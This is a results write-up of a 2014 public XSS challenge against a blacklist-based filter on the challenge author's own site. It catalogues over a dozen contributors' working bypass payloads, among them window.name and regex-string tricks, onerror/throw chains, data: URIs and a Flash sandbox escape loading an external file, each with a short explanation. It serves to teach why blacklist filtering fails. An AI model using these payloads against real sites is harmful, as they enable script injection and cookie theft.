On 7th January 2014, we announced an XSS challenge for the whole infosec community, the challenge was based upon blacklist based protection and the task was to bypass the blacklist based protection and to execute the javascript. Based upon unique IP addresses we had
unique vectors were recorded into our log file which is a tremendous turn out, the size of the log file was around 4.4 mb, which is pretty huge. Out of 1740 participants only 17 were able to solve it, which is less then 1% (0.97 to be exact).
To make your lives a bit harder, we induced certain amount of difficulties. Here is an overview of what we had done:
As it was mentioned in one of the hints that you would need to look at alternative javascript execution possibilities. Almost all attributes were being filtered except the "code" and "data" attribute. The "code" attribute can be used along with the "embed" element and the "data" attribute can be object element to execute the javascript.
Let's first take a look at our solution and then take a look at amazing solutions from the community, we used window.open() function to set the name property to "javascript:alert(1)", we used string concatenation to join the "l" and "ocation" together, the "+" sign was being filtered out, however the encoded version of "+" was not being filtered out which is equivalent to "%2b".
Browsers: IE and Firefox
Ahamed Nafeez was the first to solve the challenge by our expected method, The following solution works in Firefox w/o user interaction.
Length: 58 charactersPOC #1<html>
<script>
var a = window.open('http://rafay.prakharprasad.com/?search=<marquee/onstart=this[/innerHTM/.source%2Bname[0]]=name;//',
'L<img src=x onerror=alert(document.domain)>');
</script>
</html>
Later, he made it work inside both Internet explorer and Firefox:
Length: 121 charactersPOC #2http://rafay.prakharprasad.com/?search=<marquee/onstart=this[/innerHTM/.source%2B/L/.source]=window[/locatio/.source%2B/n/.source][/has/.source%2B/h/.source];//#<img src=x onerror=alert(document.domain)>
2)@fransrosen
Frans rosen came up with a very sophisticated bypass, The vector could had been shortened a lot though, but he decided not to do it, even though he could had. He used parentNode to walk to up the document, however all of these parentNodes could had been replaced with "top" or "self" and the POC still had worked, however this turns out to be a great technique in a case top and self keywords have been blacklisted.
Length: 366 CharactersPOChttp://rafay.prakharprasad.com/?search=%3Csvg/onload=g=parentNode.parentNode.parentNode.parentNode.parentNode.parentNode;h=g[/loc/.source%2b/ation/.source]; g[/loc/.source%2b/ation/.source]=/javascrip/.source%2b/t/.source%2bh[/has/.source%2b/h/.source][1]%2b/aler/.source%2b/t/.source%2bh[/has/.source%2b/h/.source][2]%2b/documen/.source%2b/t./.source%2b/domain/.source%2bh[/has/.source%2b/h/.source][3]%0c#:%28%29
3)@insertscript
Alex, next came up with a nice and clean cross-browser bypass:
Length: 53 charactersPOC<div
onclick=window.open('http://rafay.prakharprasad.com/?search=<svg/onload=top[/locatio/.source%2b/n/.source]=name//',"javascript:alert(1)");>click</div>
4)@hasegawayosuke
Hasegawa next came up with an amazingly short IE9 specific bypass using "onactivate" event handler, which only works with
internet explorer.
Length: 27 CharactersPOC<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<a href="http://rafay.prakharprasad.com/?search=<body/onactivate=URL=name//" target="javascript:alert(location.href)">Click Here</a>
</body>
</html>
5)@avlidienbrunn
Mathias came up with several different solutions namely a universal solution that would work on all browsers and a chrome specific bypass with shortened length.
Length: 97 charactersPOC<script>window.open("http://rafay.prakharprasad.com/?search=<svg/onload=c=/locatio/+/n/;c=c[1]+c[2]+c[3]+c[4]+c[5]+c[6]+c[7]+c[10];window[c]=window.name%2509", "javascript:alert(1)");</script>
Along with his solution, he was kind enough to send an explanation on how it worked:
This solution relies upon setting the window.location property to a javascript URI. We can do this by accessing the property using the syntax with a string within brackets instead of the regular way (window["location"] versus window.location). Since a lot of strings were filtered (such as "alert" and "location"), we can use the same window.name trick to go transfer a string to the page. In the example I passed "
javascript:alert(1)".
Sadly, only one string can be passed with that trick and as for the other string ("location"), I forged it by building a desired string out of another, character by character. But to do that I needed a string in the first place, so I used regex and addition to cast it into a string. /locatio/+/n/ becomes "/locatio//n/". From there we can just pick character by character and glue it together to make "location".
In the end we set window[string_from_regexes]=string_from_window_name, which becomes window["location"]="javascript:alert(1)", executing the alert.
Later, he came up with a chrome specific bypass of only 32 characters in length:
Length: 32 CharactersPOCdata:text/html,<meta name="referrer" content="always"><img src=x onerror="if(/^data/.test(location.href)){window.name='innerHTML';location='http://rafay.prakharprasad.com/?search=%3Csvg/onload=body[name]=referrer%2509'}else{alert(1)}">
6)@yujikosuga
Yuji arrived in a bit late inside the challenge, but still managed to solve it in a decent amount of time.
Length: 57 characters<svg onload="name='javascript:alert(1)',location='//rafay.prakharprasad.com/?search=%3Cbody/onload=this[/l/.source%2b/ocation/.source]=name//'">
7)@philroberts & @adam_baldwin
Phil roberts next, came up with a huge and the most longest solution in terms of length.
Length: 527 characters
POC #1http://rafay.prakharprasad.com/?search=%3Csvg/onload=z=[]%2batob;l=z[13];r=z[14];s=z[8];a=[]%2b/tnemucod/;a=a[8]%2ba[7]%2ba[6]%2ba[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];b=[]%2b/LMTHrenni/;b=b[9]%2bb[8]%2bb[7]%2bb[6]%2bb[5]%2bb[4]%2bb[3]%2bb[2]%2bb[1];c=[]%2b/Fa=crsFgmi%3C/;c=c[11]%2bc[10]%2bc[9]%2bc[8]%2bs%2bc[6]%2bc[5]%2bc[4]%2bc[3]%2bc[2]%2bs;d=[]%2b/X1Ztrela=rorreno/;d=d[16]%2bd[15]%2bd[14]%2bd[13]%2bd[12]%2bd[11] %2bd[10]%2bd[9]%2bd[8]%2bd[7]%2bd[6]%2bd[5]%2bd[4]%2bl%2bd[2]%2br;window[a].body[b]=c%2bd%2bwindow[a].body[b][8]//
Update: Philip has written an explanation for his huge solution here - https://gist.github.com/latentflip/8580688Later, he managed to shorten it upto 97 characters:
Length: 97 Characters
POC #2<svg/onload=a=[]%2b/trela/;a=a[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];window.onerror=window[a];throw/1///
8)@mramydnei
Length: 140 charactersPOChttp://rafay.prakharprasad.com/?search=%3Csvg/onload=a=[]%2b/trela/;a=a[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];window.onerror=window[a];throw/1///
9)@kinugawamasato
King Masato surprised me with his amazing solutions, he first came up with a very sophisticated bypass and then managed to shorten the vectors up to 25 characters. How awesome is that!
Length: 28 charactersPOC #1<script>
window.name="innerHTML";
location.href="http://rafay.prakharprasad.com/?search=<svg/onload=body[name]=URL%0d#</svg><img src=x onerror=alert(1)>"
</script>
The above vector would work upon both IE and chrome browsers, it won't work on firefox because of the fact that firefox encodes certain characters after the hash. The technique is very useful for bypassing server side filters as payload sent after the hash is not sent to the server and hence our WAF was not able to detect the payload and there managed to bypass.
Later masato came up with an amazing chrome specific solution:
Length: 25 charactersPOC #2<script>
document.domain='com';
function go(){
w=window.open("http://rafay.prakharprasad.com/?search=<svg/onload=domain=name//","com");
var s=setInterval(function(){
if(w.document.domain=='com'){
w.alert(1);
clearInterval(s);
}
},100)
}
</script>
<button onclick=go()>go</button>
10) @dnkolegov
Denis, came up with three different solutions and in the end managed to shorten it upto 77 characters.
Length: 77 characters
POC:http://rafay.prakharprasad.com/?search=<svg/onload=t=/aler/.source%2b/t/.source;window.onerror=window[t];throw%2b1//
11) @0x6D6172696F
Dr Mario Heidrech also came up with a superb bypass using Vbscript, The current solution works upto IE 10. He was also able to solve the challenge inside of IE 11 by getting IE 11 to load up the page inside the document mode, however the solution cannot be disclosed yet as it's pending a fix.
Length: 34 charactersPOC<svg/language=vbs onload=msgbox-1
12)Garrett Calpouzos
Garrett utilized the throw technique to solve the challenge, which was one of the hints which we i had given before.
Length: 130 characters<body/onload=a=/aler/.source;b=/t/.source;onerror=window[a%2bb];throw[base.parentNode.parentNode.parentNode.parentNode.domain];%09
13)@soaj1664ashar
Ashar javed came up with several partial bypasses and a full bypass:
Length: 71 charactersPOC<body/onload=id=/al/.source%2b/ert/.source;onerror=this[id];throw%2b1//
14)@netfuzzer
Mario gomes came up with several valid solutions and finally managed to settle it without user interaction with a 63 character payload.
Length: 63 charactersdata:text/html,<script>window.name="javascript:alert(/XSSED/.source);";location="http://rafay.prakharprasad.com/?search=<svg/onload=window[/locatio/.source%252b/n/.source]=window.name//"</script>
15) @shafigullin
Shafigullin, as always came up with a very cool solution. He took the "l" character from the URL[61] and then concatinated the "l" to "ocation" from the ID attribute. A very neat trick to get things done.
Length: 50 charactersPOChttp://xss-shafigullin-pro.appspot.com/reflector?protection=0&content=%3Cscript%3Ename=%27javascript:alert(1)%27;location=%27http://rafay.prakharprasad.com/?search=%3Csvg/id=ocation%2509onload=top[URL[61]%252bid]=name%2509%27%3C/script%3E
The following is the payload that would be sent to the server:
<svg/id=ocation%09onload=top[URL[61]%2bid]=name%09
16)@cgvwzq
Pepevila also came up with an exceptional solution. In short, he stores "source" inside of the
s variable and location inside the $ variable and top.location inside _ to shorten his vector. He then applies it to top[$] which is equivalent to (top["location"]), then he uses _.hash[1] to extract the ":" after the hash and finally extracts "-alert(1)" from location.pathname.
Length: 153 CharactersPOChttp://rafay.prakharprasad.com/1/-alert%281%29?search=%3Csvg/onload=s=/source/.source;$=/locatio/[s]%2B/n/[s];_=top[$];top[$]=/javascrip/[s]%2B/t/[s]%2B_[/has/[s]%2B/h/[s]][1]%2B_.pathname//#:
- http://bit.ly/1dgBYJT
17)@irsdl
Soroush was one the first to come up with a partial bypass, however later he surprised me by being able to execute javascript under the context of the challenge domain by loading an external flash file. He basically managed to bypass Flash sandbox security inside Firefox (and later all browsers) by using JAR protocol and NavigateToURL.
Length: 24 charactersPOC #1http://rafay.prakharprasad.com/?search=<Object/Data=//0me.me/rAlong with it, he also sent an explanation on how he was able to bypass the flash sandbox security inside of firefox first and then for all browsers.
Source Code of the Flash File:navigateToURL(new URLRequest("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);"),"testme");
1- target page name has been set to "testme" as "", "_self", "_top", and "_parent" are not allowed when we do not have (allowScriptAccess="always") in Object tag in HTML. it causes Security sandbox violation. Therefore, I have chosen a name for my target page ("testme").
2- We cannot use Javascript: protocol in NavigateToURL as it raises another Security sandbox violation without having proper allowScriptAccess. However, if I use JAR: protocol, this will will be bypassed (http://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl-and-jar-protocol/).
3- Now I just need to open this Javascript protocol with Jar protocol in a blank page that inherits its opener. However, this method does not work in IE and Google Chrome very well as they do not popup a new window easily! We can still exploit this if our current window name is "testme" as it does not need to open a new window! as Iframe is blocked, we can use an A tag with target to "testme" which embeds the attacker's flash file! attacker's flash file will open a Javascript in "testme" (the same) window.
Obviously the solution can still be shortened by using a more smaller domain.
POC# 2 Length: 22 charactersApart from firefox, Soroush also managed to bypass flash based sandbox protection inside of all the browsers and came up with an amazing 22 characters.
Solution
<a href="http://rafay.prakharprasad.com/?search=<Object/Data=//0me.me/" target="testme"> Click Here</a>http://jsfiddle.net/P9trW/http://jsfiddle.net/P9trW/1
Note: The bypasses have been patched by Flash security team as per nowWinners
The winners are obviously transparent from above solutions, the winners were determined based upon the length of the vector.
1) Soroush Dallili (22 Characters) //
Cross Browser Bypass2) Masato Kinugawa (25 Characters) //
Chrome Specific Bypass3) Yosuka Hasegawa (27 Characters) //
Internet Explorer Specific BypassConclusion
The challenge was based upon strict black list based filtering, however the bypasses prove that blacklist based filters shall not be relied as your only defense mechanisms.
In case, if i have missed any of your submission, please let me know, I'll update the challenge. I would like to sincerely thank "
Frans Rosen", "
Mathias" and "
Prakhar Prasad" and "
Alex Infuhr" for helping me analyzing the solutions and with other aspects of the challenge. I hope you had fun in doing the challenge and hopefully learned some thing new, just like us by analyzing your solutions.
I would love to hear your feedback! Pass your comments.